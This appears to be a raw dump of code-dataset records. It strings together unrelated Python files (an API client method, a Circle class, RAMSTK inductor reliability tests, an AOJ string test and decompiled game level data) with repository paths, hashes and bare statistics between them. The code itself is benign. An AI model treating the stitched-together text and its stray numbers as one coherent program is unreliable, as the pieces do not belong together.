HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.write_post_with_http_info(event_request, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param EventRequest event_request: Event to upload (required) :return: Response If the method is called asynchronously, returns the request thread. """ all_params = ['event_request'] all_params.append('callback') all_params.append('_return_http_data_only') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method write_post" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'event_request' is set if ('event_request' not in params) or (params['event_request'] is None): raise ValueError("Missing the required parameter `event_request` when calling `write_post`") resource_path = '/write/'.replace('{format}', 'json') path_params = {} query_params = {} header_params = {} form_params = [] local_var_files = {} body_params = None if 'event_request' in params: body_params = params['event_request'] # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type([]) # Authentication setting auth_settings = ['APIKey', 'AccountID'] return self.api_client.call_api(resource_path, 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='Response', auth_settings=auth_settings, callback=params.get('callback'), _return_http_data_only=params.get('_return_http_data_only'))

38.353508

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null

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1

0

1

0

null

0

8

bdd0765b4df1d053df5b4bcae0fe5e70b474232a

674

py

Python

python/Chapter1/Chapter1/testCircle.py

wboswall/academia

1571e8f9aceb21564f601cb79120ae56068fe3dd

[ "MIT" ]

null

python/Chapter1/Chapter1/testCircle.py

wboswall/academia

1571e8f9aceb21564f601cb79120ae56068fe3dd

[ "MIT" ]

null

python/Chapter1/Chapter1/testCircle.py

wboswall/academia

1571e8f9aceb21564f601cb79120ae56068fe3dd

[ "MIT" ]

null

class Circle1: def __init__(self, radius): self.__radius = radius def setRadius(self,newValue): if newValue >= 0: self.__radius = newValue else: raise ValueError("Value must be positive") def area(self): return 3.14159 * (self.__radius ** 2) class Circle2: def __init__(self, radius): self.__radius = radius def __setRadius(self, newValue): if newValue >= 0: self.__radius = newValue else: raise ValueError("Value must be positive") radius = property(None, __setRadius) @property def area(self): return 3.14159 * (self.__radius ** 2)

26.96

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75

674

5

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null

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9

bdfcf5be805101420038f36ebccd59c4d36c40f2

117

py

Python

users/models/__init__.py

masssoud/hr-plus

96e6e10a87e6d09c6363b2078352b642a7b5e239

[ "MIT" ]

null

users/models/__init__.py

masssoud/hr-plus

96e6e10a87e6d09c6363b2078352b642a7b5e239

[ "MIT" ]

1

2020-06-10T06:34:36.000Z

users/models/__init__.py

masssoud/hr-plus

96e6e10a87e6d09c6363b2078352b642a7b5e239

[ "MIT" ]

3

2020-03-16T09:50:46.000Z

2020-04-29T07:03:09.000Z

from users.models.team import Team from users.models.profile import Profile from users.models.project import Project

29.25

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18

117

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1

0

null

0

1

0

1

0

1

0

7

da10b02dd734ee99be91b93174bf30f6a3fa8523

19,714

py

Python

tests/analyses/milhdbk217f/models/inductor_unit_test.py

weibullguy/ramstk

3ec41d7e2933045a7a8028aed6c6b04365495095

[ "BSD-3-Clause" ]

4

2018-08-26T09:11:36.000Z

2019-05-24T12:01:02.000Z

tests/analyses/milhdbk217f/models/inductor_unit_test.py

weibullguy/ramstk

3ec41d7e2933045a7a8028aed6c6b04365495095

[ "BSD-3-Clause" ]

52

2018-08-24T12:51:22.000Z

2020-12-28T04:59:42.000Z

tests/analyses/milhdbk217f/models/inductor_unit_test.py

weibullguy/ramstk

3ec41d7e2933045a7a8028aed6c6b04365495095

[ "BSD-3-Clause" ]

1

2018-10-11T07:57:55.000Z

# pylint: skip-file # type: ignore # -*- coding: utf-8 -*- # # tests.analyses.milhdbk217f.models.inductor_unit_test.py is part of The # RAMSTK Project # # All rights reserved. # Copyright since 2007 Doyle "weibullguy" Rowland doyle.rowland <AT> reliaqual <DOT> com """Test class for the inductor module.""" # Third Party Imports import pytest # RAMSTK Package Imports from ramstk.analyses.milhdbk217f import inductor @pytest.mark.unit @pytest.mark.parametrize("family_id", [1, 2, 3, 4]) @pytest.mark.parametrize( "environment_active_id", [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14], ) def test_get_part_count_lambda_b_xfmr(family_id, environment_active_id): """get_part_count_lambda_b() should return a float value for the base hazard rate on success.""" _lambda_b = inductor.get_part_count_lambda_b( 1, environment_active_id, family_id, ) assert isinstance(_lambda_b, float) assert ( _lambda_b == { 1: [ 0.0035, 0.023, 0.049, 0.019, 0.065, 0.027, 0.037, 0.041, 0.052, 0.11, 0.0018, 0.053, 0.16, 2.3, ], 2: [ 0.0071, 0.046, 0.097, 0.038, 0.13, 0.055, 0.073, 0.081, 0.10, 0.22, 0.035, 0.11, 0.31, 4.7, ], 3: [ 0.023, 0.16, 0.35, 0.13, 0.45, 0.21, 0.27, 0.35, 0.45, 0.82, 0.011, 0.37, 1.2, 16.0, ], 4: [ 0.028, 0.18, 0.39, 0.15, 0.52, 0.22, 0.29, 0.33, 0.42, 0.88, 0.015, 0.42, 1.2, 19.0, ], }[family_id][environment_active_id - 1] ) @pytest.mark.unit @pytest.mark.parametrize("family_id", [1, 2]) @pytest.mark.parametrize( "environment_active_id", [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14], ) def test_get_part_count_lambda_b_inductor( family_id, environment_active_id, ): """get_part_count_lambda_b() should return a float value for the base hazard rate on success.""" _lambda_b = inductor.get_part_count_lambda_b( 2, environment_active_id, family_id, ) assert isinstance(_lambda_b, float) assert ( _lambda_b == { 1: [ 0.0017, 0.0073, 0.023, 0.0091, 0.031, 0.011, 0.015, 0.016, 0.022, 0.052, 0.00083, 0.25, 0.073, 1.1, ], 2: [ 0.0033, 0.015, 0.046, 0.018, 0.061, 0.022, 0.03, 0.033, 0.044, 0.10, 0.0017, 0.05, 0.15, 2.2, ], }[family_id][environment_active_id - 1] ) @pytest.mark.unit def test_get_part_count_lambda_b_no_subcategory(): """get_part_count_lambda_b() should raise a KeyError when passed an unknown subcategory ID.""" with pytest.raises(KeyError): inductor.get_part_count_lambda_b( 20, 3, 1, ) @pytest.mark.unit def test_get_part_count_lambda_b_no_family(): """get_part_count_lambda_b() should raise a KeyError when passed an unknown family ID.""" with pytest.raises(KeyError): inductor.get_part_count_lambda_b( 2, 3, 12, ) @pytest.mark.unit def test_get_part_count_lambda_b_no_environment(): """get_part_count_lambda_b() should raise an IndexError when passed an unknown active environment ID.""" with pytest.raises(IndexError): inductor.get_part_count_lambda_b( 2, 31, 1, ) @pytest.mark.unit @pytest.mark.usefixture("test_attributes_inductor") @pytest.mark.parametrize("family_id", [1, 2]) @pytest.mark.parametrize( "environment_active_id", [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14] ) def test_calculate_part_count_inductor( family_id, environment_active_id, test_attributes_inductor, ): """calculate_part_count() should return a float value for the base hazard rate on success.""" test_attributes_inductor["subcategory_id"] = 2 test_attributes_inductor["family_id"] = family_id test_attributes_inductor["environment_active_id"] = environment_active_id _lambda_b = inductor.calculate_part_count(**test_attributes_inductor) assert isinstance(_lambda_b, float) assert ( _lambda_b == { 1: [ 0.0017, 0.0073, 0.023, 0.0091, 0.031, 0.011, 0.015, 0.016, 0.022, 0.052, 0.00083, 0.25, 0.073, 1.1, ], 2: [ 0.0033, 0.015, 0.046, 0.018, 0.061, 0.022, 0.03, 0.033, 0.044, 0.10, 0.0017, 0.05, 0.15, 2.2, ], }[family_id][environment_active_id - 1] ) @pytest.mark.unit @pytest.mark.usefixture("test_attributes_inductor") @pytest.mark.parametrize("family_id", [1, 2, 3, 4]) @pytest.mark.parametrize( "environment_active_id", [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14], ) def test_calculate_part_count_xfmr( family_id, environment_active_id, test_attributes_inductor, ): """calculate_part_count() should return a float value for the base hazard rate on success.""" test_attributes_inductor["subcategory_id"] = 1 test_attributes_inductor["family_id"] = family_id test_attributes_inductor["environment_active_id"] = environment_active_id _lambda_b = inductor.calculate_part_count(**test_attributes_inductor) assert isinstance(_lambda_b, float) assert ( _lambda_b == { 1: [ 0.0035, 0.023, 0.049, 0.019, 0.065, 0.027, 0.037, 0.041, 0.052, 0.11, 0.0018, 0.053, 0.16, 2.3, ], 2: [ 0.0071, 0.046, 0.097, 0.038, 0.13, 0.055, 0.073, 0.081, 0.10, 0.22, 0.035, 0.11, 0.31, 4.7, ], 3: [ 0.023, 0.16, 0.35, 0.13, 0.45, 0.21, 0.27, 0.35, 0.45, 0.82, 0.011, 0.37, 1.2, 16.0, ], 4: [ 0.028, 0.18, 0.39, 0.15, 0.52, 0.22, 0.29, 0.33, 0.42, 0.88, 0.015, 0.42, 1.2, 19.0, ], }[family_id][environment_active_id - 1] ) @pytest.mark.unit @pytest.mark.parametrize( "page_number", [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14], ) def test_get_temperature_rise_spec_sheet(page_number): """get_temperature_rise_spec_sheet() should return a float value for the temperature_rise on success.""" _temperature_rise = inductor.get_temperature_rise_spec_sheet(page_number) assert isinstance(_temperature_rise, float) assert ( _temperature_rise == { 1: 15.0, 2: 15.0, 3: 15.0, 4: 35.0, 5: 15.0, 6: 35.0, 7: 15.0, 8: 35.0, 9: 15.0, 10: 15.0, 11: 35.0, 12: 35.0, 13: 15.0, 14: 15.0, }[page_number] ) @pytest.mark.unit @pytest.mark.usefixtures("test_attributes_inductor") def test_get_temperature_rise_spec_id(test_attributes_inductor): """get_temperature_rise_spec_sheet() should return a float value for the temperature_rise on success.""" test_attributes_inductor["subcategory_id"] = 2 test_attributes_inductor["specification_id"] = 2 test_attributes_inductor["page_number"] = 14 test_attributes_inductor = inductor.calculate_part_stress( **test_attributes_inductor ) assert isinstance(test_attributes_inductor["temperature_rise"], float) assert test_attributes_inductor["temperature_rise"] == 15.0 @pytest.mark.unit def test_get_temperature_rise_no_spec_sheet(): """get_temperature_rise_spec_sheet() should raise a KeyError when passed an unkown page number.""" with pytest.raises(KeyError): inductor.get_temperature_rise_spec_sheet(22) @pytest.mark.unit def test_calculate_temperature_rise_input_power_weight(): """calculate_temperature_rise_input_power_weight() should return a float value on success.""" _temperature_rise = inductor.calculate_temperature_rise_input_power_weight( 0.387, 0.015 ) assert isinstance(_temperature_rise, float) assert _temperature_rise == pytest.approx(13.93114825) @pytest.mark.unit def test_calculate_temperature_rise_input_power_weight_zero_weight(): """calculate_temperature_rise_input_power_weight() should raise a ZeroDivisionError when passed a weight=0.0.""" with pytest.raises(ZeroDivisionError): inductor.calculate_temperature_rise_input_power_weight(0.387, 0.0) @pytest.mark.unit def test_calculate_temperature_rise_power_loss_surface(): """calculate_temperature_rise_power_loss_surface() should return a float value on success.""" _temperature_rise = inductor.calculate_temperature_rise_power_loss_surface( 0.387, 12.5 ) assert isinstance(_temperature_rise, float) assert _temperature_rise == 3.87 @pytest.mark.unit def test_calculate_temperature_rise_power_loss_surface_zero_area(): """calculate_temperature_rise_power_loss_surface() should raise a ZeroDivisionError when passed an area=0.0.""" with pytest.raises(ZeroDivisionError): inductor.calculate_temperature_rise_power_loss_surface(0.387, 0.0) @pytest.mark.unit def test_calculate_temperature_rise_power_loss_weight(): """calculate_temperature_rise_power_loss_radiating_surface() should return a float value on success.""" _temperature_rise = inductor.calculate_temperature_rise_power_loss_weight( 0.387, 2.5 ) assert isinstance(_temperature_rise, float) assert _temperature_rise == pytest.approx(2.394211958) @pytest.mark.unit def test_calculate_temperature_rise_power_loss_weight_zero_weight(): """calculate_temperature_rise_power_loss_weight() should raise a ZeroDivisionError when passed a weight=0.0.""" with pytest.raises(ZeroDivisionError): inductor.calculate_temperature_rise_power_loss_weight(0.387, 0.0) @pytest.mark.unit def test_calculate_hot_spot_temperature(): """calculate_hot_spot_temperature() should return a float value on success.""" _temperature_hot_spot = inductor.calculate_hot_spot_temperature(43.2, 38.7) assert isinstance(_temperature_hot_spot, float) assert _temperature_hot_spot == pytest.approx(85.77) @pytest.mark.unit def test_calculate_part_stress_lambda_b(): """calculate_part_stress_lambda_b() should return a float value on success.""" _lambda_b = inductor.calculate_part_stress_lambda_b(1, 4, 85.77) assert isinstance(_lambda_b, float) assert _lambda_b == pytest.approx(0.00280133) @pytest.mark.unit def test_calculate_part_stress_lambda_b_no_subcategory(): """calculate_part_stress_lambda_b() should raise an KeyError when passed an unknown subcategory ID.""" with pytest.raises(KeyError): inductor.calculate_part_stress_lambda_b(101, 4, 85.77) @pytest.mark.unit def test_calculate_part_stress_lambda_b_no_insulation(): """calculate_part_stress_lambda_b() should raise an KeyError when passed an unknown insulation ID.""" with pytest.raises(KeyError): inductor.calculate_part_stress_lambda_b(1, 41, 85.77) @pytest.mark.unit @pytest.mark.parametrize("subcategory_id", [1, 2]) def test_get_part_stress_quality_factor(subcategory_id): """get_part_stress_quality_factor() should return a float value for piQ on success.""" _pi_q = inductor.get_part_stress_quality_factor(subcategory_id, 1, 1) assert isinstance(_pi_q, float) assert _pi_q == {1: 1.5, 2: 0.03}[subcategory_id] @pytest.mark.unit @pytest.mark.usefixture("test_attributes_inductor") def test_calculate_part_stress_inductor(test_attributes_inductor): """calculate_part_stress() should return a dictionary of updated values on success.""" test_attributes_inductor["subcategory_id"] = 2 test_attributes_inductor["construction_id"] = 2 _attributes = inductor.calculate_part_stress(**test_attributes_inductor) assert isinstance(_attributes, dict) assert _attributes["lambda_b"] == pytest.approx(0.00046712295) assert _attributes["piC"] == 2.0 assert _attributes["hazard_rate_active"] == pytest.approx(0.00014013688) @pytest.mark.unit @pytest.mark.usefixture("test_attributes_inductor") def test_calculate_part_stress_xfmr_with_surface_area(test_attributes_inductor): """calculate_part_stress() should return a dictionary of updated values on success.""" test_attributes_inductor["subcategory_id"] = 1 test_attributes_inductor["construction_id"] = 1 _attributes = inductor.calculate_part_stress(**test_attributes_inductor) assert isinstance(_attributes, dict) assert _attributes["lambda_b"] == pytest.approx(0.0026358035) assert _attributes["piC"] == 1.0 assert _attributes["hazard_rate_active"] == pytest.approx(0.01976853) @pytest.mark.unit @pytest.mark.usefixture("test_attributes_inductor") def test_calculate_part_stress_xfmr_with_weight(test_attributes_inductor): """calculate_part_stress() should return a dictionary of updated values on success.""" test_attributes_inductor["subcategory_id"] = 1 test_attributes_inductor["construction_id"] = 1 test_attributes_inductor["power_operating"] = 0.387 test_attributes_inductor["voltage_dc_operating"] = 0.0 test_attributes_inductor["area"] = 0.0 test_attributes_inductor["weight"] = 2.5 _attributes = inductor.calculate_part_stress(**test_attributes_inductor) assert isinstance(_attributes, dict) assert _attributes["temperature_rise"] == pytest.approx(2.39421196) assert _attributes["lambda_b"] == pytest.approx(0.0024684654) assert _attributes["piC"] == 1.0 assert _attributes["hazard_rate_active"] == pytest.approx(0.01851349) @pytest.mark.unit @pytest.mark.usefixture("test_attributes_inductor") def test_calculate_part_stress_xfmr_with_input_power(test_attributes_inductor): """calculate_part_stress() should return a dictionary of updated values on success.""" test_attributes_inductor["subcategory_id"] = 1 test_attributes_inductor["construction_id"] = 1 test_attributes_inductor["power_operating"] = 0.0 test_attributes_inductor["voltage_dc_operating"] = 3.3 test_attributes_inductor["area"] = 0.0 test_attributes_inductor["weight"] = 2.5 _attributes = inductor.calculate_part_stress(**test_attributes_inductor) assert isinstance(_attributes, dict) assert _attributes["temperature_rise"] == pytest.approx(0.0040553804) assert _attributes["lambda_b"] == pytest.approx(0.0024148713) assert _attributes["piC"] == 1.0 assert _attributes["hazard_rate_active"] == pytest.approx(0.01811153) @pytest.mark.unit @pytest.mark.usefixture("test_attributes_inductor") def test_calculate_part_stress_xfmr_no_temperature_rise(test_attributes_inductor): """calculate_part_stress() should return a dictionary of updated values on success.""" test_attributes_inductor["subcategory_id"] = 1 test_attributes_inductor["construction_id"] = 1 test_attributes_inductor["power_operating"] = 0.0 test_attributes_inductor["voltage_dc_operating"] = 0.0 test_attributes_inductor["area"] = 0.0 test_attributes_inductor["weight"] = 0.0 _attributes = inductor.calculate_part_stress(**test_attributes_inductor) assert isinstance(_attributes, dict) assert _attributes["temperature_rise"] == 0.0 assert _attributes["lambda_b"] == pytest.approx(0.0024147842) assert _attributes["piC"] == 1.0 assert _attributes["hazard_rate_active"] == pytest.approx(0.01811088) @pytest.mark.unit def test_set_default_max_rated_temperature(): """should return the default capacitance for the selected subcategory ID.""" assert inductor._set_default_max_rated_temperature(1) == 130.0 assert inductor._set_default_max_rated_temperature(2) == 125.0 @pytest.mark.unit def test_set_default_temperature_rise(): """should return the default capacitance for the selected subcategory ID.""" assert inductor._set_default_temperature_rise(1, 1) == 10.0 assert inductor._set_default_temperature_rise(1, 3) == 30.0 assert inductor._set_default_temperature_rise(2, 1) == 10.0 @pytest.mark.unit @pytest.mark.usefixtures("test_attributes_inductor") def test_set_default_values(test_attributes_inductor): """should set default values for each parameter <= 0.0.""" test_attributes_inductor["rated_temperature_max"] = 0.0 test_attributes_inductor["temperature_rise"] = 0.0 test_attributes_inductor["subcategory_id"] = 1 _attributes = inductor.set_default_values(**test_attributes_inductor) assert isinstance(_attributes, dict) assert _attributes["rated_temperature_max"] == 130.0 assert _attributes["temperature_rise"] == 10.0 @pytest.mark.unit @pytest.mark.usefixtures("test_attributes_inductor") def test_set_default_values_none_needed(test_attributes_inductor): """should not set default values for each parameter > 0.0.""" test_attributes_inductor["rated_temperature_max"] = 135.0 test_attributes_inductor["temperature_rise"] = 5.0 test_attributes_inductor["subcategory_id"] = 1 _attributes = inductor.set_default_values(**test_attributes_inductor) assert isinstance(_attributes, dict) assert _attributes["rated_temperature_max"] == 135.0 assert _attributes["temperature_rise"] == 5.0

30.707165

88

0.608248

2,394

19,714

4.691729

0.095238

0.123397

0.137108

0.024217

0.887464

0.861734

0.820335

0.755876

0.7362

0.718572

0

0.083459

0.291925

19,714

641

89

30.75507

0.721183

0.148524

0

0.726166

0

0.072319

0.027233

0

0.117647

1

0.060852

false

0

0.004057

0

0.064909

0

null

0

1

0

1

0

null

0

7

da299d46fb201cac14d730a8d25fa58400725b4e

176

py

Python

ui/__init__.py

magnusjwatson2786/Container-GUI

42cbe1bb970fbabe5b5fde873425f262e9207d30

[ "MIT" ]

null

ui/__init__.py

magnusjwatson2786/Container-GUI

42cbe1bb970fbabe5b5fde873425f262e9207d30

[ "MIT" ]

null

ui/__init__.py

magnusjwatson2786/Container-GUI

42cbe1bb970fbabe5b5fde873425f262e9207d30

[ "MIT" ]

null

from PySide6.QtCore import * from PySide6.QtGui import * from PySide6.QtWidgets import * from . ui_q3y import Ui_MainWindow from . config import Config from . fxns import *

17.6

34

0.772727

25

176

5.36

0.44

0.246269

0.253731

0

0.027397

0.170455

176

9

35

19.555556

0.890411

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

7

e5055ada1e64560a8a368105e2019840ede5abf9

51

py

Python

mulpro/__init__.py

Toonggg/mulpro

a341d371990e9550cf6df028871c17a82e764943

[ "BSD-2-Clause" ]

null

mulpro/__init__.py

Toonggg/mulpro

a341d371990e9550cf6df028871c17a82e764943

[ "BSD-2-Clause" ]

null

mulpro/__init__.py

Toonggg/mulpro

a341d371990e9550cf6df028871c17a82e764943

[ "BSD-2-Clause" ]

null

from mulpro import mulpro, log #import mulpro, log

25.5

30

0.784314

8

51

5

0.5

0.6

0.75

0

0.156863

51

2

31

25.5

0.930233

0.352941

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

7

e51915da24d302cda8208289c3415add74ac5e0e

3,289

py

Python

tests/AOJ/test_ITP1_8_A.py

nabetama-training/CompetitionProgrammingPractice

0801173df3992c2e78b02b383f2df9ba792cbf2f

[ "BSD-2-Clause" ]

null

tests/AOJ/test_ITP1_8_A.py

nabetama-training/CompetitionProgrammingPractice

0801173df3992c2e78b02b383f2df9ba792cbf2f

[ "BSD-2-Clause" ]

2

2020-07-04T04:19:28.000Z

2020-07-26T06:16:07.000Z

tests/AOJ/test_ITP1_8_A.py

nabetama-training/CompetitionProgrammingPractice

0801173df3992c2e78b02b383f2df9ba792cbf2f

[ "BSD-2-Clause" ]

null

import sys from io import StringIO import unittest from src.AOJ.ITP1_8_A import resolve class TestClass(unittest.TestCase): def assertIO(self, input, output): stdout, stdin = sys.stdout, sys.stdin sys.stdout, sys.stdin = StringIO(), StringIO(input) resolve() sys.stdout.seek(0) out = sys.stdout.read()[:] sys.stdout, sys.stdin = stdout, stdin self.assertEqual(out, output) def test_1(self): input = """fAIR, LATER, OCCASIONALLY CLOUDY. """ output = """Fair, later, occasionally cloudy. """ self.assertIO(input, output) def test_2(self): input = """a """ output = """A """ self.assertIO(input, output) def test_3(self): input = """s1061159 m5061126 d8061103 """ output = """S1061159 M5061126 D8061103 """ self.assertIO(input, output) def test_4(self): input = """tHE uNIVERSITY OF aIZU TEAM VISITED gOVERNOR sATO AT THE fUKUSHIMA pREFECTURAL oFFICE ON mAY 26 TO REPORT THE RESULT OF THEIR FIRST PARTICIPATION AT THE acm-icpc wORLD fINALS (aPRIL 2009, sWEDEN). cOACH yUTAKA wATANOBE AND 2 CONTESTANTS, mR. tAKASHI tAYAMA AND mR. yUKI hIRANO, VISITED THE gOVERNOR ACCOMPANYING WITH vICE pRESIDENT nICOLAY mIRENKOV, WHO MADE AN INTRODUCTION OF THE TEAM TO THE gOVERNOR. cOACH wATANOBE EXPLAINED THE ATMOSPHERE OF THE CONTEST AND THE TEAM'S PERFORMANCE USING PICTURES AND DOCUMENTS HE BROUGHT. tHE TEAM RECEIVED A COMPLIMENT FROM THE gOVERNOR SHOWING HIS GRATITUDE TO THE TEAM FOR PROVING THE uNIVERSITY THROUGH THE CONTEST COMPETING WITH OTHER WORLD-RENOWNED UNIVERSITIES. tHE gOVERNOR ALSO EXPRESSED HIS HIGH EXPECTATION TO THE TEAM TO MAKE FURTHER ACHIEVEMENT IN THE FUTURE. tHE TEAM WAS ENCOURAGED BY HIS WORDS AND REAFFIRMED THEIR DETERMINATION TO PASS THE PRELIMINARY ROUND WITHIN jAPAN IN jULY AND THE aSIA rEGIONALS IN nOVEMBER TO GO TO THE fINALS AGAIN. bEFORE THE VISIT TO THE gOVERNOR, THE TEAM ALSO MET vICE gOVERNOR mATSUMOTO AND vICE gOVERNOR uCHIBORI, AND THEY COMMENDED THE TEAM FOR THE ACHIEVEMENT. """ output = """The University of Aizu team visited Governor Sato at the Fukushima Prefectural Office on May 26 to report the result of their first participation at the ACM-ICPC World Finals (April 2009, Sweden). Coach Yutaka Watanobe and 2 contestants, Mr. Takashi Tayama and Mr. Yuki Hirano, visited the Governor accompanying with Vice President Nicolay Mirenkov, who made an introduction of the team to the Governor. Coach Watanobe explained the atmosphere of the contest and the team's performance using pictures and documents he brought. The team received a compliment from the Governor showing his gratitude to the team for proving the University through the contest competing with other world-renowned universities. The Governor also expressed his high expectation to the team to make further achievement in the future. The team was encouraged by his words and reaffirmed their determination to pass the preliminary round within Japan in July and the Asia Regionals in November to go to the Finals again. Before the visit to the Governor, the team also met Vice Governor Matsumoto and Vice Governor Uchibori, and they commended the team for the achievement. """ self.assertIO(input, output)

71.5

1,168

0.751292

483

3,289

5.10352

0.293996

0.045436

0.021095

0.037323

0.82069

0.804868

0.768357

0

0.023783

0.194588

3,289

45

1,169

73.088889

0.906757

0

0.324324

0

0.054054

0.737226

0

0.162162

1

0.135135

false

0.054054

0.108108

0

0.27027

0

null

0

1

0

1

0

1

0

null

0

1

0

9

e53f3a98417fcd36a43864537d2c2c0d52f38321

63

py

Python

package1/package2/__main__.py

leowindwave/YAPT

ee5ec568ed746f90a18dc514836624d435a7ccdb

[ "CC0-1.0" ]

4

2017-03-06T09:49:11.000Z

2019-10-16T00:09:38.000Z

package1/package2/__main__.py

leowindwave/YAPT

ee5ec568ed746f90a18dc514836624d435a7ccdb

[ "CC0-1.0" ]

null

package1/package2/__main__.py

leowindwave/YAPT

ee5ec568ed746f90a18dc514836624d435a7ccdb

[ "CC0-1.0" ]

7

2017-11-02T11:00:30.000Z

2020-01-31T22:41:27.000Z

print("package1/package2/__main__.py executed") import module2

21

47

0.825397

8

63

6

1

0

0.050847

0.063492

63

2

48

31.5

0.762712

0

0.603175

0.460317

0

1

0

true

0

0.5

0

0.5

1

0

null

0

1

0

1

null

0

1

0

1

0

1

0

7

e552822ef5bb86eb7bd71b441f46a649f3542bcb

8,840

py

Python

pirates/leveleditor/worldData/pvpShipIsland1_int_tavern.py

itsyaboyrocket/pirates

6ca1e7d571c670b0d976f65e608235707b5737e3

[ "BSD-3-Clause" ]

3

2021-02-25T06:38:13.000Z

2022-03-22T07:00:15.000Z

pirates/leveleditor/worldData/pvpShipIsland1_int_tavern.py

itsyaboyrocket/pirates

6ca1e7d571c670b0d976f65e608235707b5737e3

[ "BSD-3-Clause" ]

null

pirates/leveleditor/worldData/pvpShipIsland1_int_tavern.py

itsyaboyrocket/pirates

6ca1e7d571c670b0d976f65e608235707b5737e3

[ "BSD-3-Clause" ]

1

2021-02-25T06:38:17.000Z

# uncompyle6 version 3.2.0 # Python bytecode 2.4 (62061) # Decompiled from: Python 2.7.14 (v2.7.14:84471935ed, Sep 16 2017, 20:19:30) [MSC v.1500 32 bit (Intel)] # Embedded file name: pirates.leveleditor.worldData.pvpShipIsland1_int_tavern from pandac.PandaModules import Point3, VBase3, Vec4, Vec3 objectStruct = {'Objects': {'1202846053.19akelts0': {'Type': 'Building Interior', 'Name': '', 'AdditionalData': ['interior_tavern_b'], 'Instanced': False, 'Objects': {'1204236104.67akelts': {'Type': 'Door Locator Node', 'Name': 'door_locator', 'Hpr': VBase3(-179.829, 0.0, 0.0), 'Pos': Point3(-0.498, -4.914, 0.952), 'Scale': VBase3(1.0, 1.0, 1.0)}, '1204236104.69akelts': {'Type': 'Door Locator Node', 'Name': 'door_locator_2', 'Hpr': VBase3(0.0, 0.0, 0.0), 'Pos': Point3(-6.626, 20.947, 1.006), 'Scale': VBase3(1.0, 1.0, 1.0)}, '1208543385.0akelts': {'Type': 'Wall_Hangings', 'DisableCollision': False, 'Hpr': VBase3(8.288, 0.0, 0.0), 'Pos': Point3(0.577, 44.618, 16.331), 'Scale': VBase3(1.207, 1.207, 1.207), 'Visual': {'Color': (0.5, 0.45, 0.45, 1.0), 'Model': 'models/props/flag_hanging_french'}}, '1208543583.91akelts': {'Type': 'Townsperson', 'Category': 'Bartender', 'AnimSet': 'sweep', 'AuraFX': 'None', 'Boss': False, 'CustomModel': 'None', 'GhostColor': 'None', 'GhostFX': 0, 'Greeting Animation': '', 'HelpID': 'NONE', 'Holiday': '', 'Hpr': VBase3(-97.978, 0.0, 0.0), 'Instanced World': 'None', 'Level': '37', 'Notice Animation 1': '', 'Notice Animation 2': '', 'Patrol Radius': '12.0000', 'Pos': Point3(-49.928, 12.507, 1.127), 'PoseAnim': '', 'PoseFrame': '', 'Private Status': 'All', 'PropFXLeft': 'None', 'PropFXRight': 'None', 'PropLeft': 'None', 'PropRight': 'None', 'Respawns': True, 'Scale': VBase3(0.999, 0.999, 0.999), 'ShopID': 'PORT_ROYAL_DEFAULTS', 'Start State': 'Idle', 'StartFrame': '0', 'Team': 'Villager', 'TrailFX': 'None', 'TrailLeft': 'None', 'TrailRight': 'None', 'VisSize': '', 'Zombie': False, 'spawnTimeAlt': '', 'spawnTimeBegin': 0.0, 'spawnTimeEnd': 0.0}, '1208544322.67akelts': {'Type': 'Townsperson', 'Category': 'Commoner', 'AnimSet': 'sit_sleep', 'AuraFX': 'None', 'Boss': False, 'CustomModel': 'None', 'GhostColor': 'None', 'GhostFX': 0, 'Greeting Animation': '', 'HelpID': 'NONE', 'Holiday': '', 'Hpr': VBase3(80.877, 0.0, 0.0), 'Instanced World': 'None', 'Level': '37', 'Notice Animation 1': '', 'Notice Animation 2': '', 'Patrol Radius': '12.0000', 'Pos': Point3(-1.29, 23.625, 1.0), 'PoseAnim': '', 'PoseFrame': '', 'Private Status': 'All', 'PropFXLeft': 'None', 'PropFXRight': 'None', 'PropLeft': 'None', 'PropRight': 'None', 'Respawns': True, 'Scale': VBase3(1.0, 1.0, 1.0), 'ShopID': 'PORT_ROYAL_DEFAULTS', 'Start State': 'Idle', 'StartFrame': '0', 'Team': 'Villager', 'TrailFX': 'None', 'TrailLeft': 'None', 'TrailRight': 'None', 'VisSize': '', 'Zombie': False, 'spawnTimeAlt': '', 'spawnTimeBegin': 0.0, 'spawnTimeEnd': 0.0}, '1208544716.73akelts': {'Type': 'Townsperson', 'Category': 'Commoner', 'AnimSet': 'bar_talk01', 'AuraFX': 'None', 'Boss': False, 'CustomModel': 'None', 'GhostColor': 'None', 'GhostFX': 0, 'Greeting Animation': '', 'Hpr': VBase3(-12.421, 0.0, 0.0), 'Instanced World': 'None', 'Level': '37', 'Notice Animation 1': '', 'Notice Animation 2': '', 'Patrol Radius': '12.0000', 'Pos': Point3(-45.095, -10.344, 1.0), 'PoseAnim': '', 'PoseFrame': '', 'Private Status': 'All', 'PropFXLeft': 'None', 'PropFXRight': 'None', 'PropLeft': 'None', 'PropRight': 'None', 'Respawns': True, 'Scale': VBase3(0.943, 0.943, 0.943), 'ShopID': 'PORT_ROYAL_DEFAULTS', 'Start State': 'Idle', 'StartFrame': '0', 'Team': 'Villager', 'TrailFX': 'None', 'TrailLeft': 'None', 'TrailRight': 'None', 'Zombie': False, 'spawnTimeAlt': '', 'spawnTimeBegin': 0.0, 'spawnTimeEnd': 0.0}, '1208545146.78akelts': {'Type': 'Townsperson', 'Category': 'Commoner', 'AnimSet': 'bar_talk03', 'AuraFX': 'None', 'Boss': False, 'CustomModel': 'None', 'GhostColor': 'None', 'GhostFX': 0, 'Greeting Animation': '', 